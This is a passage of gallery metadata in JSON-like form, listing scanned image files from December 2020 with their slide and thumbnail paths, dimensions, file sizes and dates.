    S22C-620121517013 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517013_0001.jpg","width":340,"height":260},"fileSize":526727,"name":"S22C-620121517013_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121517080_0001.jpg","image":{"path":"slides\/S22C-620121517080_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121517080 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517080_0001.jpg","width":340,"height":260},"fileSize":390793,"name":"S22C-620121517080_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121517081_0001.jpg","image":{"path":"slides\/S22C-620121517081_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121517081 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517081_0001.jpg","width":340,"height":260},"fileSize":974343,"name":"S22C-620121517081_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121515593_0001.jpg","image":{"path":"slides\/S22C-620121515593_0001.jpg","width":567,"height":800},"imageCaption":"
    S22C-620121515593 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515593_0001.jpg","width":340,"height":260},"fileSize":251817,"name":"S22C-620121515593_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019080_0001.jpg","image":{"path":"slides\/S22C-620121019080_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019080 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019080_0001.jpg","width":340,"height":260},"fileSize":615429,"name":"S22C-620121019080_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513131_0001.jpg","image":{"path":"slides\/S22C-620121513131_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121513131 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513131_0001.jpg","width":340,"height":260},"fileSize":272509,"name":"S22C-620121513131_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121515330_0001.jpg","image":{"path":"slides\/S22C-620121515330_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121515330 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515330_0001.jpg","width":340,"height":260},"fileSize":699166,"name":"S22C-620121515330_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019110_0001.jpg","image":{"path":"slides\/S22C-620121019110_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019110 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019110_0001.jpg","width":340,"height":260},"fileSize":732215,"name":"S22C-620121019110_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019111_0001.jpg","image":{"path":"slides\/S22C-620121019111_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019111 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019111_0001.jpg","width":340,"height":260},"fileSize":702950,"name":"S22C-620121019111_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516431_0001.jpg","image":{"path":"slides\/S22C-620121516431_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121516431 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516431_0001.jpg","width":340,"height":260},"fileSize":391776,"name":"S22C-620121516431_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516430_0001.jpg","image":{"path":"slides\/S22C-620121516430_0001.jpg","width":1000,"height":615},"imageCaption":"
    S22C-620121516430 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516430_0001.jpg","width":340,"height":260},"fileSize":219224,"name":"S22C-620121516430_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019051_0001.jpg","image":{"path":"slides\/S22C-620121019051_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019051 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019051_0001.jpg","width":340,"height":260},"fileSize":796312,"name":"S22C-620121019051_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121517111_0001.jpg","image":{"path":"slides\/S22C-620121517111_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121517111 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517111_0001.jpg","width":340,"height":260},"fileSize":928779,"name":"S22C-620121517111_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019050_0001.jpg","image":{"path":"slides\/S22C-620121019050_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019050 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019050_0001.jpg","width":340,"height":260},"fileSize":740990,"name":"S22C-620121019050_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516024_0001.jpg","image":{"path":"slides\/S22C-620121516024_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121516024 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516024_0001.jpg","width":340,"height":260},"fileSize":424482,"name":"S22C-620121516024_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513260_0001.jpg","image":{"path":"slides\/S22C-620121513260_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121513260 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513260_0001.jpg","width":340,"height":260},"fileSize":543832,"name":"S22C-620121513260_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513320_0001.jpg","image":{"path":"slides\/S22C-620121513320_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121513320 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513320_0001.jpg","width":340,"height":260},"fileSize":860847,"name":"S22C-620121513320_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121018330_0001.jpg","image":{"path":"slides\/S22C-620121018330_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121018330 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018330_0001.jpg","width":340,"height":260},"fileSize":520456,"name":"S22C-620121018330_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516490_0001.jpg","image":{"path":"slides\/S22C-620121516490_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121516490 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516490_0001.jpg","width":340,"height":260},"fileSize":160504,"name":"S22C-620121516490_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513211_0001.jpg","image":{"path":"slides\/S22C-620121513211_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121513211 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513211_0001.jpg","width":340,"height":260},"fileSize":473424,"name":"S22C-620121513211_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513210_0001.jpg","image":{"path":"slides\/S22C-620121513210_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121513210 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513210_0001.jpg","width":340,"height":260},"fileSize":428607,"name":"S22C-620121513210_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516592_0001.jpg","image":{"path":"slides\/S22C-620121516592_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121516592 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516592_0001.jpg","width":340,"height":260},"fileSize":624666,"name":"S22C-620121516592_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121517160_0001.jpg","image":{"path":"slides\/S22C-620121517160_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121517160 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517160_0001.jpg","width":340,"height":260},"fileSize":412153,"name":"S22C-620121517160_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121517161_0001.jpg","image":{"path":"slides\/S22C-620121517161_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121517161 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517161_0001.jpg","width":340,"height":260},"fileSize":672730,"name":"S22C-620121517161_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121515472_0001.jpg","image":{"path":"slides\/S22C-620121515472_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121515472 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515472_0001.jpg","width":340,"height":260},"fileSize":299098,"name":"S22C-620121515472_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516441_0001.jpg","image":{"path":"slides\/S22C-620121516441_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121516441 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516441_0001.jpg","width":340,"height":260},"fileSize":419452,"name":"S22C-620121516441_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516440_0001.jpg","image":{"path":"slides\/S22C-620121516440_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121516440 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516440_0001.jpg","width":340,"height":260},"fileSize":400594,"name":"S22C-620121516440_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513140_0001.jpg","image":{"path":"slides\/S22C-620121513140_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121513140 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513140_0001.jpg","width":340,"height":260},"fileSize":206057,"name":"S22C-620121513140_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019090_0001.jpg","image":{"path":"slides\/S22C-620121019090_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019090 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019090_0001.jpg","width":340,"height":260},"fileSize":623143,"name":"S22C-620121019090_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019091_0001.jpg","image":{"path":"slides\/S22C-620121019091_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019091 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019091_0001.jpg","width":340,"height":260},"fileSize":496148,"name":"S22C-620121019091_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121018462_0001.jpg","image":{"path":"slides\/S22C-620121018462_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121018462 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018462_0001.jpg","width":340,"height":260},"fileSize":405141,"name":"S22C-620121018462_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121515451_0001.jpg","image":{"path":"slides\/S22C-620121515451_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121515451 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515451_0001.jpg","width":340,"height":260},"fileSize":269777,"name":"S22C-620121515451_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019143_0001.jpg","image":{"path":"slides\/S22C-620121019143_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019143 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019143_0001.jpg","width":340,"height":260},"fileSize":675033,"name":"S22C-620121019143_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019142_0001.jpg","image":{"path":"slides\/S22C-620121019142_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019142 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019142_0001.jpg","width":340,"height":260},"fileSize":965494,"name":"S22C-620121019142_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513162_0001.jpg","image":{"path":"slides\/S22C-620121513162_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121513162 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513162_0001.jpg","width":340,"height":260},"fileSize":691220,"name":"S22C-620121513162_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513163_0001.jpg","image":{"path":"slides\/S22C-620121513163_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121513163 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513163_0001.jpg","width":340,"height":260},"fileSize":161620,"name":"S22C-620121513163_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121018282_0001.jpg","image":{"path":"slides\/S22C-620121018282_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121018282 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018282_0001.jpg","width":340,"height":260},"fileSize":257821,"name":"S22C-620121018282_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019041_0001.jpg","image":{"path":"slides\/S22C-620121019041_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019041 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019041_0001.jpg","width":340,"height":260},"fileSize":1018112,"name":"S22C-620121019041_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513061_0001.jpg","image":{"path":"slides\/S22C-620121513061_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121513061 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513061_0001.jpg","width":340,"height":260},"fileSize":1614849,"name":"S22C-620121513061_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019100_0001.jpg","image":{"path":"slides\/S22C-620121019100_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019100 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019100_0001.jpg","width":340,"height":260},"fileSize":503604,"name":"S22C-620121019100_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019101_0001.jpg","image":{"path":"slides\/S22C-620121019101_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019101 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019101_0001.jpg","width":340,"height":260},"fileSize":422153,"name":"S22C-620121019101_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513330_0001.jpg","image":{"path":"slides\/S22C-620121513330_0001.jpg","width":1000,"height":692},"imageCaption":"
    S22C-620121513330 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513330_0001.jpg","width":340,"height":260},"fileSize":390621,"name":"S22C-620121513330_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513331_0001.jpg","image":{"path":"slides\/S22C-620121513331_0001.jpg","width":1000,"height":692},"imageCaption":"
    S22C-620121513331 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513331_0001.jpg","width":340,"height":260},"fileSize":359143,"name":"S22C-620121513331_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513132_0001.jpg","image":{"path":"slides\/S22C-620121513132_0001.jpg","width":1000,"height":708},"imageCaption":"
    S22C-620121513132 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513132_0001.jpg","width":340,"height":260},"fileSize":218913,"name":"S22C-620121513132_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019113_0001.jpg","image":{"path":"slides\/S22C-620121019113_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019113 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019113_0001.jpg","width":340,"height":260},"fileSize":571650,"name":"S22C-620121019113_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019112_0001.jpg","image":{"path":"slides\/S22C-620121019112_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019112 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019112_0001.jpg","width":340,"height":260},"fileSize":953248,"name":"S22C-620121019112_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019052_0001.jpg","image":{"path":"slides\/S22C-620121019052_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019052 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019052_0001.jpg","width":340,"height":260},"fileSize":666265,"name":"S22C-620121019052_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121517113_0001.jpg","image":{"path":"slides\/S22C-620121517113_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121517113 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517113_0001.jpg","width":340,"height":260},"fileSize":570184,"name":"S22C-620121517113_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516050_0001.jpg","image":{"path":"slides\/S22C-620121516050_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121516050 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516050_0001.jpg","width":340,"height":260},"fileSize":231675,"name":"S22C-620121516050_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516051_0001.jpg","image":{"path":"slides\/S22C-620121516051_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121516051 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516051_0001.jpg","width":340,"height":260},"fileSize":147698,"name":"S22C-620121516051_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019150_0001.jpg","image":{"path":"slides\/S22C-620121019150_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019150 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019150_0001.jpg","width":340,"height":260},"fileSize":1345351,"name":"S22C-620121019150_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121517011_0001.jpg","image":{"path":"slides\/S22C-620121517011_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121517011 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517011_0001.jpg","width":340,"height":260},"fileSize":453536,"name":"S22C-620121517011_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513171_0001.jpg","image":{"path":"slides\/S22C-620121513171_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121513171 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513171_0001.jpg","width":340,"height":260},"fileSize":334537,"name":"S22C-620121513171_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513170_0001.jpg","image":{"path":"slides\/S22C-620121513170_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121513170 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513170_0001.jpg","width":340,"height":260},"fileSize":775103,"name":"S22C-620121513170_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121517082_0001.jpg","image":{"path":"slides\/S22C-620121517082_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121517082 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517082_0001.jpg","width":340,"height":260},"fileSize":1040496,"name":"S22C-620121517082_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019083_0001.jpg","image":{"path":"slides\/S22C-620121019083_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019083 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019083_0001.jpg","width":340,"height":260},"fileSize":394820,"name":"S22C-620121019083_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019082_0001.jpg","image":{"path":"slides\/S22C-620121019082_0001.jpg","width":1000,"height":706},"imageCaption":"
    S22C-620121019082 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019082_0001.jpg","width":340,"height":260},"fileSize":821352,"name":"S22C-620121019082_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513030_0001.jpg","image":{"path":"slides\/S22C-620121513030_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121513030 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513030_0001.jpg","width":340,"height":260},"fileSize":1236669,"name":"S22C-620121513030_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513031_0001.jpg","image":{"path":"slides\/S22C-620121513031_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121513031 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513031_0001.jpg","width":340,"height":260},"fileSize":1174619,"name":"S22C-620121513031_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516203_0001.jpg","image":{"path":"slides\/S22C-620121516203_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121516203 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516203_0001.jpg","width":340,"height":260},"fileSize":629520,"name":"S22C-620121516203_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121515434_0001.jpg","image":{"path":"slides\/S22C-620121515434_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121515434 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515434_0001.jpg","width":340,"height":260},"fileSize":682525,"name":"S22C-620121515434_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513202_0001.jpg","image":{"path":"slides\/S22C-620121513202_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121513202 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513202_0001.jpg","width":340,"height":260},"fileSize":464134,"name":"S22C-620121513202_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516453_0001.jpg","image":{"path":"slides\/S22C-620121516453_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121516453 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516453_0001.jpg","width":340,"height":260},"fileSize":583909,"name":"S22C-620121516453_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121515353_0001.jpg","image":{"path":"slides\/S22C-620121515353_0001.jpg","width":1000,"height":615},"imageCaption":"
    S22C-620121515353 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515353_0001.jpg","width":340,"height":260},"fileSize":680371,"name":"S22C-620121515353_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121515461_0001.jpg","image":{"path":"slides\/S22C-620121515461_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121515461 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515461_0001.jpg","width":340,"height":260},"fileSize":248394,"name":"S22C-620121515461_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121515460_0001.jpg","image":{"path":"slides\/S22C-620121515460_0001.jpg","width":566,"height":800},"imageCaption":"
